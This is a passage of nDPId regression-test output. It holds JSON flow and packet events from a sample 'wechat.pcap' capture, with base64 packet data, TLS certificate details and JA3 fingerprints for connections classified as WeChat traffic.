MIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQRPedl8rEGeVAPWuweixwLkUSzzvXlYc5p6md2+DuC6SsLqnlXPMLhf8AdJlsnHntUs8TfqCs4Ci\/\/C3S\/cM1ndBgEBAIk5n1ZCkb5BmAP6rtagvLrJsAyJBUF5gjhDLGukisJYMPBO847\/DDdQHujLQiLupmfebevl4plQW3mHGJhCl4OFNvpPeXUgyEEj53\/L3yoPBeLu7gHjH2aXPoyiJ+GvXrGdYtE6sH0BReG1OhbwdSLPjwXp2aIDb6r6dHKK9D2mHcqj\/4PMbh2Zt\/+ZpgLjf48dduSp8MErjyxbgFk0aCUU6yw7qMVrQhao8pADxLdpo5dlWBJi7HOleqb1AnpYRwJBuWPY\/BdB0N2BQGCDmIxYDXI6WOHG3vCyJq6BuULE3lS6uJy93lGxavermoUJ8Z56jl8STO3nLJK5KunMg7oWAwMABA4AAAA="} +01314{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1486,"source":"wechat.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":10,"flow_first_seen":1492167866226,"flow_last_seen":1492167871323,"flow_tot_l4_data_len":3698,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":369,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58041,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00427{"flow_id":80,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1487,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167871,"pkt_ts_usec":323666,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0hOxAAEAGlE\/AqAFny82Tq+K5AbuucSy0ejQYa4AQARXPQwAAAQEICgAytBxFrzik"} +00602{"flow_id":80,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1488,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167871,"pkt_ts_usec":325825,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyhO1AAEAGk9DAqAFny82Tq+K5AbuucSy0ejQYa4AYARVuHQAAAQEICgAytB1FrzikFgMDAEYQAABCQQSr0kOEGHE4WGKpY\/5aqefcAOavEkG2UwlG\/o9vNro3sWuojxfAR0juUwuvlIB\/hiM60Im9ShghIL3TNYMM\/pDQFAMDAAEBFgMDACgAAAAAAAAAAESRiMLSeBmuWadzIpsriOQh7WdCxs+OM1uhoR\/hEEj3"} +00497{"flow_id":80,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1493,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167871,"pkt_ts_usec":595572,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnOVBAAC8G8BjLzZOrwKgBZwG74rl6NBhrrnEtMoAYAHhBewAAAQEICkWvOOgAMrQdFAMDAAEBFgMDACjHKmy6psvZGILTp4ph5Y6tIPXU4KRvT96PWbBU01pudPAOEleI\/ppz"} +00426{"flow_id":80,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1494,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167871,"pkt_ts_usec":632231,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0hO5AAEAGlE3AqAFny82Tq+K5AbuucS0yejQYnoAQARXOAAAAAQEICgAytGpFrzjo"} +00426{"flow_id":62,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1496,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167872,"pkt_ts_usec":304268,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0XwNAAEAGujjAqAFny82Tq+K3Abv08QbKs2vgP4ARAOXHEgAAAQEICgAytRJFrx5u"} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1497,"source":"wechat.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":59,"flow_first_seen":1492167776953,"flow_last_seen":1492167815112,"flow_tot_l4_data_len":27722,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":469,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58038,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":62,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1497,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167878,"pkt_ts_usec":856255,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0XwRAAEAGujfAqAFny82Tq+K3Abv08QbKs2vgP4ARAOXArAAAAQEICgAyu3hFrx5u"} +00426{"flow_id":80,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1500,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167891,"pkt_ts_usec":596756,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0OVFAAC8G8ErLzZOrwKgBZwG74rl6NBiernEtMoARAHi7FAAAAQEICkWvTHAAMrRq"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1513,"source":"wechat.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1492167905310,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58042,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1513,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":310934,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8Y7pAAEAGtXnAqAFny82Tq+K6AbsLFrb3AAAAAKACchA4ZAAAAgQFtAQCCAoAMtVNAAAAAAEDAwc="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1514,"source":"wechat.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1492167905561,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58043,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1514,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":561959,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8gtZAAEAGll3AqAFny82Tq+K7AbsB+ldaAAAAAKACchCg3QAAAgQFtAQCCAoAMtWMAAAAAAEDAwc="} +00437{"flow_id":81,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1515,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":585622,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74rpcdpBKCxa2+KASN8jmJgAAAgQFoAQCCApFr1oYADLVTQEDAwc="} +00425{"flow_id":81,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1516,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":585722,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Y7tAAEAGtYDAqAFny82Tq+K6AbsLFrb4XHaQS4AQAOVLfQAAAQEICgAy1ZJFr1oY"} +00750{"flow_id":81,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1517,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":586242,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiY7xAAEAGtJHAqAFny82Tq+K6AbsLFrb4XHaQS4AYAOUEvAAAAQEICgAy1ZJFr1oYFgMBAOkBAADlAwOpwzJj9zQUL7FTARxwe22aWmPjNgjLbbTXUoctVXlwQCAXdM3iNMSeSRYu5rAL4uxt+WZ\/oboN6SP4aeC7pGEeFQAgqqrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8OjoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIysoAHQAXABhqagABAA=="} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1517,"source":"wechat.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":4,"flow_first_seen":1492167905310,"flow_last_seen":1492167905586,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58042,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00438{"flow_id":82,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1518,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":858313,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74rtG\/8zAAfpXW6ASN8gnXAAAAgQFoAQCCApFr1pdADLVjAEDAwc="} +00426{"flow_id":82,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1519,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":858383,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0gtdAAEAGlmTAqAFny82Tq+K7AbsB+ldbRv\/MwYAQAOWMrQAAAQEICgAy1dZFr1pd"} +00425{"flow_id":81,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1520,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":863511,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0yhRAAC8GX4fLzZOrwKgBZwG74rpcdpBLCxa35oAQAHhKtQAAAQEICkWvWl8AMtWS"} +02345{"flow_id":81,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1521,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":866052,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIyhVAAC8GWfLLzZOrwKgBZwG74rpcdpBLCxa35oAQAHjgMAAAAQEICkWvWl8AMtWSFgMDAF0CAABZAwOGR3vz0c7leVL88y7BanT+M1sdUTQh9zjBhl2LkZBBuyCM2+8zdEEEnStdC0Le952Lqq9eharacfOBD8t\/DxmAgMAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00780{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1521,"source":"wechat.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":6,"flow_first_seen":1492167905310,"flow_last_seen":1492167905866,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58042,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00425{"flow_id":81,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1522,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":866087,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Y71AAEAGtX7AqAFny82Tq+K6AbsLFrfmXHaV34AQAPtEWAAAAQEICgAy1dhFr1pf"} +02701{"flow_id":81,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1523,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":866538,"pkt_caplen":1754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1754,"pkt_l4_len":1720,"pkt":"eJKcD6iO8IQvSpdgCABFoAbMyhZAAC8GWO3LzZOrwKgBZwG74rpcdpXfCxa35oAYAHgoRwAAAQEICkWvWl8AMtWSi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQQ+NK41ixEUObF\/3wwVLRrssuZeijCkksicej1\/Sx8C5ARXD80M8aRC6U8JdjqN1HKBxMtCXnykiIOSxU1e6KpqBgEBACNEMauUjlXDuGcmU7v0Y7L6woqS6NDbjOoc6mMw13fm7ufdTq4Z30913nkuSW9dkpbWUAm+fX5nF7kRGQYImxxLiW7PVyNXoV\/ddOqOVSPaqip19Bwb8\/6edEgD5X3nfDiRMK3lsQPaOOUrRe3DjDh9qDuabMUjk5wYb8KvRwwjYUBK4HhjbvDZ5++GWc7TtELpilMN5K8jRuXhDR59nmIYXUGzWtnZHceHZk40KtR8Nd5AuI\/yAt9aS2kTPyov1KfgrMTJ7EkGj29rGGCSQaaqh1Bv\/Aao+UgMKBf0LdVi\/Xlo1Cqf+2GF9h68PhuxKvFndXZa34PU7yFN5myS2ZAWAwMABA4AAAA="} +01313{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1523,"source":"wechat.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":8,"flow_first_seen":1492167905310,"flow_last_seen":1492167905866,"flow_tot_l4_data_len":3626,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":453,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58042,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} 